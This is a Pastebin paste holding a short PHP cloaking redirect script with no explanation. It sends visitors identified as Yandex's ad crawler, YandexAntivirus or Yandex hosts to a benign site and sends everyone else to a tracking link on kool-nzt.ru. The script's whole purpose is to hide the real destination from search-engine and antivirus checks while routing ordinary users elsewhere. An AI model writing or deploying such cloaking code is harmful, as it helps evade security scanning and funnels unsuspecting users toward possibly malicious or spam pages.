Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $yafetcher = 'YaDirectFetcher';
- $yaantivirus = 'YandexAntivirus';
- $UA = $_SERVER['HTTP_USER_AGENT'];
- $h1 = 'lwdc.br05.gi9-48.host4.24187.americanis.ne';
- $host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
- if (strpos($UA, $yafetcher) || strpos($UA, $yaantivirus) || strpos($host, $h1) || strpos($host, 'yandex')) { header('Location: http://www.techport.ru'); }
- else { header('Location: http://kool-nzt.ru/robotrack/?subid=29287'); }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement